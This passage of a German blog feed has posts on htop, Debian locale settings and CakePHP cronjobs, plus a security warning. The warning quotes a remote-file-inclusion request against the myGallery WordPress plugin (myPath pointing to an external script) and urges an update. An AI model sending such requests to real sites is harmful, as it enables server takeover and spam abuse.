<div id="attachment_706" class="wp-caption aligncenter" style="width: 310px"><a rel="Linux Package - htop - Ausgabe von Linux-Prozessen" href="http://blog.joergboesche.de/wp-content/uploads/2011/01/linux-proess-watch-htop.gif" target="_blank"><img class="size-medium wp-image-706" title="Linux Package - htop - Ausgabe von Linux-Prozessen" src="http://blog.joergboesche.de/wp-content/uploads/2011/01/linux-proess-watch-htop-300x188.gif" alt="" width="300" height="188" /></a><p class="wp-caption-text">Linux Package - htop - Ausgabe von Linux-Prozessen</p></div>
<p style="text-align: center;">
<p>Das lästige Suchen nach den Parametern, die der Prozess ausführt hat ein Ende, denn das Linux Package<span id="more-705"></span> "htop" liefert alle Command und Parameter aus. So kann problemlos nachvollzogen werden, mit welchen Informationen der Prozess/Dienst aktuell ausgeführt wird. Zudem wird ermöglicht mit der "F9"-Taste einen ausgewählten Prozess/Dienst direkt zu killen. Es muss kein "ps aux | grep filterbegriff" ausgeführt werden, um die Prozess-ID herauszufiltern und per "kill -p 11111"  zu beenden. Der Prozess lässt sich in "htop" direkt mit den Pfeiltasten auswählen und mit dem KILL-Befehl (Shortcut F7) beenden.<br />
Lästige Fehlinformationen zur Speicherauslatung (Mem), gehören in "htop" ebenfalls der Vergangenheit an.</p>
<p>Um sich lästige Arbeiten und Filter ersparen möchte, sollte sich mit dem Linux Package "htop" beschäftigen.</p>
<p><strong>Installation unter Debian Lenny:</strong><br />
<code>apt-get update<br />
apt-get install htop</code></p>
<p>Nach der Installation folgenden Befehl im Terminal eingeben und bestätigen:<br />
<code>htop</code></p>
<p>Weitere Informationen zu "htop - an interactive process viewer for Linux" findet ihr auf der Entwicklerseite und im Linux-Wiki:</p>
<ul>
<li><a title="htop - an interactive process viewer for Linux" href="http://htop.sourceforge.net" target="_blank">htop.sourceforge.net</a></li>
<li><a title="htop - Werkzeug zur Ausgabe von Linux-Prozessen" href="http://linuxwiki.de/htop" target="_blank">linuxwiki.de</a></li>
</ul>
]]></content:encoded>
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		</item>
		<item>
		<title>Debian/Linux: locale UTF-8 Support mit de_DE.UTF-8 konfigurieren</title>
		<link>http://blog.joergboesche.de/debianlinux-locale-utf-8-support-mit-de_de-utf-8-konfigurieren</link>
		<comments>http://blog.joergboesche.de/debianlinux-locale-utf-8-support-mit-de_de-utf-8-konfigurieren#comments</comments>
		<pubDate>Sun, 12 Dec 2010 19:18:44 +0000</pubDate>
		<dc:creator>Jörg</dc:creator>
				<category><![CDATA[Linux/Server]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[locale]]></category>
		<category><![CDATA[paketverwaltung]]></category>
		<category><![CDATA[root]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[sprachumgebung]]></category>
		<category><![CDATA[ssh]]></category>
		<category><![CDATA[umlaute]]></category>

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		<description><![CDATA[Eine standardmäßige Debian-Linux (Lenny) Version wird grundsätzlich mit einem englischen Zeichensatz (en_US.UTF-8) installiert. Gerade bei Webservern mit deutschsprachigen Seiten und Monatsnamen ist es eher untypisch, dass englische Monatsnamen wie "October" oder "December" ausgegeben werden. Die Ausgabe soll natürlich in deutsch erfolgen und es gibt zahlreiche Wege um die "locale" zu setzen. Ein einfacher und schneller [...]]]></description>
			<content:encoded><![CDATA[<p> 	Eine standardmäßige Debian-Linux (Lenny) Version wird grundsätzlich mit einem englischen Zeichensatz (en_US.UTF-8) installiert. Gerade bei Webservern mit deutschsprachigen Seiten und Monatsnamen ist es eher untypisch, dass englische Monatsnamen wie "October" oder "December" ausgegeben werden. Die Ausgabe soll natürlich in deutsch erfolgen und es gibt zahlreiche Wege um die "locale" zu setzen.</p>
<p>Ein einfacher und schneller Weg ist die erneute Konfiguration der "locale" Umgebung mittels "dpkg-reconfigure locales". Der Paketverwalter "dpkg" für Debian ermöglicht das erneute Konfigurieren der Sprachumgebung, bzw. Systemumgebung für das gesamte Debian (lenny)-Betriebssystem.</p>
<p><strong>Wie kann die aktuelle Sprachumgebung ermittelt werden?</strong><br />
Mit dem Befehl locale wird abgefragt, <span id="more-702"></span>welcher Zeichensatz gerade am System (z.B. Debian (lenny)) aktiv ist.<br />
Die Ausgabe sollte so aussehen:</p>
<blockquote><p>myserver:~# locale<br />
LANG=en_US.UTF-8<br />
LC_CTYPE="en_US.UTF-8"<br />
LC_NUMERIC="en_US.UTF-8"<br />
LC_TIME="en_US.UTF-8"<br />
LC_COLLATE="en_US.UTF-8"<br />
LC_MONETARY="en_US.UTF-8"<br />
LC_MESSAGES="en_US.UTF-8"<br />
LC_PAPER="en_US.UTF-8"<br />
LC_NAME="en_US.UTF-8"<br />
LC_ADDRESS="en_US.UTF-8"<br />
LC_TELEPHONE="en_US.UTF-8"<br />
LC_MEASUREMENT="en_US.UTF-8"<br />
LC_IDENTIFICATION="en_US.UTF-8"<br />
LC_ALL=</p></blockquote>
<p>Wir sehen, dass die "default" Sprachumgebung unseres Debian (lenny)-Systems auf "en_US.UTF-8" eingestellt ist.<br />
Dies hat zur Folge, dass alle Umlaute und Sonderzeichen aus dem deutschen Sprachgebrauch kryptisch oder fehlerhaft ausgegeben werden können.<br />
Wie auch zu Beginn angesprochen, werden die Monatsnamen via Apache/PHP über die Systemumgebung ermittelt und ausgegeben.</p>
<p>Mit folgendem Befehl können wir die Zeichensätze neu konfigurieren: <strong>dpkg-reconfigure locales</strong>.<br />
Es folgt ein Dialog in dem die neuen Zeichensätze ausgewählt werden müssen. Ist die Konfiguration abgeschlossen, müsst ihr euch mit eurem SSH-Terminal (z.B. PuTTY) neu verbinden, folglich eine neue Session starten. - Denn erst dann wird auch die Sprachumgebung neu geladen.</p>
<p>Eure Ausgabe sollte nun wie folgt aussehen:</p>
<blockquote><p>myserver:~$ locale<br />
LANG=de_DE.UTF-8<br />
LC_CTYPE="de_DE.UTF-8"<br />
LC_NUMERIC="de_DE.UTF-8"<br />
LC_TIME="de_DE.UTF-8"<br />
LC_COLLATE="de_DE.UTF-8"<br />
LC_MONETARY="de_DE.UTF-8"<br />
LC_MESSAGES="de_DE.UTF-8"<br />
LC_PAPER="de_DE.UTF-8"<br />
LC_NAME="de_DE.UTF-8"<br />
LC_ADDRESS="de_DE.UTF-8"<br />
LC_TELEPHONE="de_DE.UTF-8"<br />
LC_MEASUREMENT="de_DE.UTF-8"<br />
LC_IDENTIFICATION="de_DE.UTF-8"<br />
LC_ALL=</p></blockquote>
]]></content:encoded>
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		</item>
		<item>
		<title>CakePHP-Shells als Cronjob auf Shared-Server einrichten</title>
		<link>http://blog.joergboesche.de/cakephp-shells-als-cronjob-auf-shared-server-ausfuehren</link>
		<comments>http://blog.joergboesche.de/cakephp-shells-als-cronjob-auf-shared-server-ausfuehren#comments</comments>
		<pubDate>Sun, 13 Dec 2009 22:18:44 +0000</pubDate>
		<dc:creator>Jörg</dc:creator>
				<category><![CDATA[CakePHP]]></category>
		<category><![CDATA[bake]]></category>
		<category><![CDATA[bakery]]></category>
		<category><![CDATA[console]]></category>
		<category><![CDATA[cronjob]]></category>
		<category><![CDATA[hosting]]></category>
		<category><![CDATA[http-cronjob]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[shared]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[webserver]]></category>

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		<description><![CDATA[Bei der Entwicklung von Internetauftritten wird es immer wichtiger mit nächtlichen Cronjobs zu arbeiten, diese einem die Arbeit der Datenvalidierung oder Datenerfassung erleichtern. Da die Kunden nicht immer über einen Managed- oder RootServer verfügen, ist es kaum möglich mit der CakePHP-Console zu arbeiten. Über die CakePHP-Console lassen sich Models, Views, Controller und auch die wichtigen [...]]]></description>
			<content:encoded><![CDATA[<p> 	Bei der Entwicklung von Internetauftritten wird es immer wichtiger mit nächtlichen Cronjobs zu arbeiten, diese einem die Arbeit der Datenvalidierung oder Datenerfassung erleichtern.</p>
<p>Da die Kunden nicht immer über einen Managed- oder RootServer verfügen, ist es kaum möglich mit der CakePHP-Console zu arbeiten. Über die CakePHP-Console lassen sich Models, Views, Controller und auch die wichtigen Shells entwickeln.</p>
<p>Eine Shell ist dazu da, um kommandozeilenbaiserende Skripte zu schreiben, diese aber vom Benutzer entfernt bleiben.<br />
Wie oben bereits angesprochen, z.B. die Datenvalidierung oder ein nächtlicher Export von Datensätzen als CSV-Datei.<br />
Ein Export der Datenbank kann u.a. bei APIs oder Shopsystemen sehr vorteilhaft sein.</p>
<p>Um auch die CakePHP-Shell auf einem Shared-Host / Shared-Server via HTTP-Request ausführen zu können,<br />
muss der PHP-Befehl "exec()" aktiviert sein. Darüber lassen sich in einem PHP-Skript diverse Kommandozeilen starten.</p>
<p>In unserem Fall auch die CakePHP-Shell und das als HTTP-Request.<br />
Natürlich ist es wichtig, dass ihr eure PHP-Skripte dementsprechend vor Fremdeingriffe schützt.<br />
Eine .htaccess Authentifizierung oder PHP_AUTH-Methode wäre hier angebracht. Viele Cronjob-Dienste können die HTTP-Requests auch mit einem Benutzernamen und Passwort übersenden. Das PHP-Modul cUrl macht es möglich.</p>
<p><strong>Wie führe ich die CakePHP-Shell in einem PHP-Skript aus?</strong><br />
Beim Hoster all-inkl muss der exec()-Befehl vorher durch eine .htaccess mit " AddHandler php-fastcgi .php" <span id="more-626"></span>Datei freigeschaltet werden.</p>
<p>Die Cronjob.php-Datei legt ihr in das Verzeichnis "/app/webroot/_cronjob/" ab.<br />
Den Ordner "_cronjob" müsst ihr vorher anlegen. - Darin wird auch die "log.txt" geschrieben.</p>
<p>Bei " here_comes_the_vendors_shell_file" wird die CakePHP-Shell-Datei angegeben. Z.B.: csv_export, diese im Verzeichnis /app/vendors/shells/csv_export.php" liegt.</p>
<blockquote><p>&lt;?php<br />
$app_dir = dirname(dirname(dirname(__FILE__))); // app Path<br />
$cake_dir = dirname(dirname(dirname(dirname(__FILE__)))); // cake-core Path<br />
$logfile = $app_dir."/webroot/_cronjobs/log.txt"; // Log-File Path define(RECEIVER,'email@domain.de');<br />
define(EMAIL_SUBJECT, 'CakePHP SHELL Cronjob');</p>
<p>$command = "php ".$cake_dir."/cake/console/cake.php -app ".$app_dir."/ -core ".$cake_dir."/cake/ -i cake here_comes_the_vendors_shell_file &gt; ".$logfile; // exec command with cakephp-shell exec($command);</p>
<p>// get log.txt content for e-mail-body<br />
$msg = file_get_contents($logfile);<br />
mail(RECEIVER,EMAIL_SUBJECT,$msg); // send mail to defined receiver<br />
?&gt;</p></blockquote>
<p>Die Ausgabe der Shell wird in eine Datei umgelenkt und bei jedem Aufruf neu geschrieben.<br />
Eine E-Mail an einen oben definierten Empfänger wird mit genau diesem Inhalt verschickt.</p>
<p><strong>Wie führe ich die CakePHP-Shell auf einem Managed- oder RootServer aus?</strong><br />
Hierzu gibt es eine sehr ausführliche Dokumentation auf <a title="CakePHP-Shells als Cronjob ausführen" href="http://book.cakephp.org/de/view/846/Running-Shells-as-cronjobs" target="_blank" rel="nofollow">book.cakephp.org</a>.</p>
]]></content:encoded>
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		</item>
		<item>
		<title>WordPress myGallery Plugin &#8220;myPath&#8221; Exploid</title>
		<link>http://blog.joergboesche.de/wordpress-mygallery-plugin-mypath-exploid</link>
		<comments>http://blog.joergboesche.de/wordpress-mygallery-plugin-mypath-exploid#comments</comments>
		<pubDate>Thu, 08 Jan 2009 20:51:35 +0000</pubDate>
		<dc:creator>Jörg</dc:creator>
				<category><![CDATA[Webentwicklung & Programmierung]]></category>
		<category><![CDATA[domain]]></category>
		<category><![CDATA[exploid]]></category>
		<category><![CDATA[mygallery]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[servereinstellung]]></category>
		<category><![CDATA[skript]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://blog.joergboesche.de/?p=354</guid>
		<description><![CDATA[In den letzten Tagen haben mich nicht schöne Seiten des weltweiten Internets besucht und versucht ein Plugin meines WordPress-Blogs auszunutzen, um Spammails und weitere schadhaften Servereinstellungen auszuführen. Das Galerieplugin namens "myGallery" von wildbits hat eine große Sicherheitslücke im System. Es lassen sich per Url über die GET-Variable "myPath" eine externe Url einbinden, diese dann ausgeführt [...]]]></description>
			<content:encoded><![CDATA[<p> 	In den letzten Tagen haben mich nicht schöne Seiten des weltweiten Internets besucht und versucht ein Plugin meines WordPress-Blogs auszunutzen, um Spammails und weitere schadhaften Servereinstellungen auszuführen.</p>
<p>Das Galerieplugin namens "myGallery" von <a href="http://www.wildbits.de/mygallery/" target="_blank">wildbits</a> hat eine große Sicherheitslücke im System.<br />
Es lassen sich per Url über die GET-Variable "myPath" eine externe Url einbinden, diese dann ausgeführt wird.<br />
Die externe Url benötigt nur ein Skript, welches als Text (txt)-Datei abgespeichert wird und mit "&lt;?php" beginnt.<br />
Schon wird die externe Datei ausgeführt und es können Spammails versendet werden und auch serverseitige Sicherheitslücken ausgenutzt werden, um den Server auszuschalten oder Daten zu löschen.<span id="more-354"></span></p>
<p>Wer "myGallery" als Plugin noch mit einer Version unter 1.4b5 verwendet, sollte schleunigst updaten,<br />
ansonsten wird man selbst ein Opfer der Exploids / Angriffe über externe und aufgeruffene Internetadressen.</p>
<p style="text-align: center;">
<div id="attachment_355" class="wp-caption aligncenter" style="width: 533px"><a href="http://blog.joergboesche.de/wp-content/uploads/2009/01/mygallery-version-14b10.gif"><img class="size-medium wp-image-355" title="Wordpress myGallery Plugin Version 1.4b10" src="http://blog.joergboesche.de/wp-content/uploads/2009/01/mygallery-version-14b10.gif" alt="Wordpress myGallery Plugin Version 1.4b10" width="523" height="44" /></a><p class="wp-caption-text">Wordpress myGallery Plugin Version 1.4b10</p></div>
<p><strong>Es wird folgende Adresse versucht zu öffnen:</strong></p>
<blockquote><p>wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=http://domain.de/ordner/file.txt</p></blockquote>
<p><strong>Ab der myGallery-Version 1.4.b5 ist das externe Aufrufen von Skripts unterbunden worden.</strong></p>
<p>Also schleunigst die "myGallery"-Plugins in euren WordPress-Blogs aktualisieren.</p>
<p>Ein paar Fragen und Tipps zum Thema findet ihr auch hier:</p>
<ul>
<li><a title="Warnung vor myGallery Plugin von wildbits" href="http://forum.wordpress-deutschland.org/plugins-und-widgets/22225-warnung-vor-mygallery.html" target="_blank">WordPress Forum</a></li>
</ul>
]]></content:encoded>
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